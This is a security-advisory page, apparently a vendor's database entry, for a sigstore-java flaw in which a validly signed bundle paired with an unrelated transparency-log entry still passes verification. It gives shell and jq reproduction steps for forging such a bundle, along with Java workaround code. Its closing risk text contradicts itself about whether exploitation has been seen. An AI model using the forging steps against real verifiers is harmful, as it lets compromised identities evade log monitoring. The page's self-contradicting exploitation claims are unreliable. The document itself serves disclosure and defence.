Know every vulnerabilitybefore it knows you.
DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.
GHSA-q4xm-6fjc-5f6w
No affected components available
Summary
sigstore-java has insufficient verification for a situation where a validly-signed but "mismatched" bundle is presented as proof of inclusion into a transparency log
Impact
This bug impacts clients using any variation of KeylessVerifier.verify()
The verifier may accept a bundle with an unrelated log entry, cryptographically verifying everything but fails to ensure the log entry applies to the artifact in question, thereby "verifying" a bundle without any proof the signing event was logged.
This allows the creation of a bundle without fulcio certificate and private key combined with an unrelated but time-correct log entry to fake logging of a signing event. A malicious actor using a compromised identity may want to do this to prevent discovery via rekor's log monitors.
The signer's identity will still be available to the verifier. The signature on the bundle must still be on the correct artifact for the verifier to pass.
sigstore-gradle-plugin and sigstore-maven-plugin are not affected by this as they only provide signing functionality.
Steps To Reproduce
Build the java sigstore-cli at v1.0.0
git clone --branch v1.0.0 git@github.com:sigstore/sigstore-java
cd sigstore-java
./gradlew :sigstore-cli:build
tar -xf sigstore-cli/build/distributions/sigstore-cli-1.0.0-SNAPSHOT.tar --strip-components 1
Create two random blobs
dd bs=1 count=50 </dev/urandom > blob1
dd bs=1 count=50 </dev/urandom > blob2
Sign each blob using the cli
./bin/sigstore-cli sign --bundle=blob1.sigstore.json blob1
./bin/sigstore-cli sign --bundle=blob2.sigstore.json blob2
Create a falsified bundle including the base64Signature and cert fields from blob1's bundle and the rekorBundle from blob2's bundle
jq --slurpfile bundle2 blob2.sigstore.json '.verificationMaterial.tlogEntries = $bundle2[0].verificationMaterial.tlogEntries' blob1.sigstore.json > invalidBundle.sigstore.json
Find the embedded artifact hash in the bundle, and compare to the sha256 sums of blob1 and blob2. See that the bundle tlog entry matches blob2.
cat invalidBundle.sigstore.json | jq -r '.verificationMaterial.tlogEntries[0].canonicalizedBody' | base64 -d | jq -r '.spec.data.hash.value'
sha256sum blob1 blob2
Verify the bundle against blob1
./bin/sigstore-cli verify --bundle=invalidBundle.sigstore.json blob1
# no errors???!
Patches
Patched in v1.1.0 release with https://github.com/sigstore/sigstore-java/pull/856 Added conformance test for all clients in: https://github.com/sigstore/sigstore-conformance/pull/166
Workarounds
- Verifiers can recreate the log entry and compare it to the provided log entry.
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF_8);
var rekorEntry = bundle.getEntries().get(0);
var calculatedHashedRekord =
Base64.toBase64String(
HashedRekordRequest.newHashedRekordRequest(
artifactDigest,
Certificates.toPemBytes(Certificates.getLeaf(bundle.getCertPath())),
bundle.getMessageSignature().get().getSignature())
.toJsonPayload()
.getBytes(StandardCharsets.UTF_8));
if (!Objects.equals(calculatedHashedRekord, rekorEntry.getBody())) {
throw new Exception("Provided verification materials are inconsistent with log entry");
}
- Verifiers can contact the log and discover if the artifact signing event has indeed been added to the log
var bundle = Bundle.from(bundleFile, StandardCharsets.UTF);
var artifactDigest = Files.asByteSource(Path.of(artifact).toFile()).hash(Hashing.sha256()).asBytes();
var sigstoreTufClientBuilder = SigstoreTufClient.builder().usePublicGoodInstance();
var trustedRootProvider = TrustedRootProvider.from(sigstoreTufClientBuilder);
var entry = RekorEntryFetcher.fromTrustedRoot(trustedRootProvider).getEntryFromRekor(artifactDigest, Certificates.getLeaf(bundle.getCertPath()), bundle.getMessageSignature().get().getSignature());
RekorVerifier.newRekorVerifier(trustedRootProvider.get()).verifyEntry(entry);
The vulnerability requires local access to the device to be exploited. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The impact is confined to the system where the vulnerability exists. There is a high impact on the integrity of the data.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
Browse More
Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.
Checkout DevGuard